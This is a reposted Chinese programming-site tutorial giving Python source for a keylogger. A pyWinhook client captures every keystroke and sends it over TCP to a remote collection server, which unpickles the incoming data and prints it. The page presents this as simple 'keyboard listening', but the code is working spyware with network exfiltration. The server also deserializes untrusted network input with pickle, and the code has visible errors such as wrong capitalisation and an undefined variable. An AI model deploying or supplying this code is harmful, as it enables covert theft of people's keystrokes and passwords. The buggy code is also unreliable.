iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python实现监听键盘
  • 607
分享到

python实现监听键盘

python监听键盘 2022-06-02 22:06:59 607人浏览 独家记忆

Python 官方文档:入门教程 => 点击学习

摘要

python实现监听键盘,供大家参考,具体内容如下实现服务端 import pickle from io import BytesIO import Socket #接收数据 def Server_Recive

python实现监听键盘,供大家参考,具体内容如下实现服务端


import pickle
from io import BytesIO
import Socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序


#键盘监听

import Pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger() 

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持编程网。

--结束END--

本文标题: python实现监听键盘

本文链接: https://www.lsjlt.com/news/10486.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python怎么实现监听键盘
    小编给大家分享一下python怎么实现监听键盘,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Python的优点有哪些1、简单易用,与C/C++、Java、C# 等...
    99+
    2023-06-14
  • python pynput监听键盘
    1 """小白随笔,大佬勿喷""" 2 #键盘输入 3 from pynput.keyboard import Key,Controller,Listener 4 keyboard = Controller() 5 keybo...
    99+
    2023-01-30
    键盘 python pynput
  • Python 键盘鼠标监听
    异想天开的想记录一下自己每天的键盘键位走向,于是就在网上搜索了一下相关的实现,然后就发现了一个第三方的库pyHook.封装的很好,我们只需要傻瓜式的调用里面的API就可以了。 下面是我在使用pyHook 的过程中遇到的问题和经验总...
    99+
    2023-01-31
    键盘鼠标 Python
  • Android 键盘监听 键盘展开/收起监听
    如和优雅地实现键盘展开/收起监听 Android 键盘的展开与收起一直是个很遭人诟病的东西 方法各式各样都有,但是基本都不是很好用,有各种限制 这里编写了一个优雅地实现方式,利用屏幕实际高度与显示...
    99+
    2023-09-01
    android kotlin android studio
  • Python键盘监听:实现快捷操作和自动化脚本(监听组合键
    前言 本文主要介绍一下使用Python进行事件监听功能,以实现一些特有的操作。本文旨在介绍如何实现这一功能。 笔者根据一些需求写了一个小工具,流程和功能如下图所示(实际功能有更多): 该工具...
    99+
    2023-09-13
    python 计算机外设 自动化 键盘监听
  • python 键盘监听+记录 [ p
    今天想做一个键盘监听的小程序,去网上搜了一下,发现用Python写键盘监听主要有pyhook和pynput两种……… 这里用的是pynput,logging。 本来想用Jupyter Notebook写的,但是发现运行不了,可...
    99+
    2023-01-31
    键盘 python
  • 用Python监听鼠标和键盘事件
    最近有点想法,想自己写点小软件,看到网上有篇博客是我想要的,这里记录下。 原文地址:点击打开链接   发现他也是转载的,真正的原文出处是: 点击打开链接    只是记得不够详细环境搭建等问题,我也搞了差不多10多分钟才把环境搭建好,环境...
    99+
    2023-01-31
    鼠标 键盘 事件
  • 如何实现Flex键盘事件的监听机制
    这篇文章给大家分享的是有关如何实现Flex键盘事件的监听机制的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Flex键盘事件的监听Flex的事件监听机制很完善,下面主要简单的讲一下Flex键盘事件的监听。首先,要理...
    99+
    2023-06-17
  • jQuery如何监听键盘按键事件?
    这篇文章将为大家详细讲解有关jQuery如何监听键盘按键事件?,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。jQuery监听键盘按键事件 jQuery 提供了多种方法来监听键盘按键事件。最常用的方法是使用...
    99+
    2024-04-02
  • WPF如何实现监听快捷键
    今天小编给大家分享一下WPF如何实现监听快捷键的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.调用Win32 API优先级...
    99+
    2023-07-05
  • 【教程&整活】python第三方库pynput全局键盘监听+demo“ikun键盘”
    本篇文章主要讲pynput的键盘监听,以及一个demo“ikun键盘程序” 1. 全局键盘监听 1.1 pynput.keyboard.Listener 这是pynput的子模块keyboard中的一个类,keyboard子模块都是关于键盘...
    99+
    2023-09-03
    前端 python 开发语言
  • python pyautogui+pynput鼠标键盘自动控制与监听
    PyAutoGUI 参考https://blog.csdn.net/hfy1237/article/details/127960423 官方文档 https://pyautogui.readthedo...
    99+
    2023-10-11
    python 自动化
  • Android EditText的setOnEditorActionListener方法——监听软键盘按键
    文章目录 1、控件EditText的setOnEditorActionListener方法的使用2、 android 软件盘事件响应:android: imeOptions 、KeyEvent...
    99+
    2023-09-14
    android
  • flutter开发实战-RawKeyboardListener监听键盘事件及keycode。
    flutter开发实战-RawKeyboardListener监听键盘事件及keycode。 最近开发过程中遇到外设备的按钮点击触发相应的操作,需要监听对应的keycode来开启游戏或者相关操作。 这...
    99+
    2023-09-06
    flutter 计算机外设 javascript 键盘事件 键盘
  • Android中怎么监听软键盘状态
    本篇文章为大家展示了Android中怎么监听软键盘状态,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Android 监听软键盘状态的实例详解activityRoot是activity的根view,就...
    99+
    2023-05-30
    android
  • React如何实现全屏监听Esc键
    目录全屏监听Esc键全屏与退出全屏监听退出全屏事件React添加监听事件 监听键盘事件react添加监听事件监听键盘事件全屏监听Esc键 全屏与退出全屏 if (isFull) { ...
    99+
    2022-11-13
    React监听Esc键 全屏监听Esc键 React监听
  • vue中如何监听键盘回车事件
    这篇文章将为大家详细讲解有关vue中如何监听键盘回车事件,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。vue运行为v-on在监听键盘事件时,添加了特殊的键盘修饰符:<...
    99+
    2024-04-02
  • python 监控键盘输入
    #!/usr/bin/env python # -*- coding: utf-8 -*- import os import sys import tty, termios import time if __name...
    99+
    2023-01-31
    键盘输入 python
  • pygame实现键盘的连续监控
    pygame对键盘的连续监听,供大家参考,具体内容如下 大家请看下面这一段代码: for event in pygame.event.get(): if event.type...
    99+
    2024-04-02
  • Android 回退键监听
    方法1:回调方法onBackPressed String LOG_TAG="TAG"; @Override public void onBackPressed() { // su...
    99+
    2023-10-06
    android
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作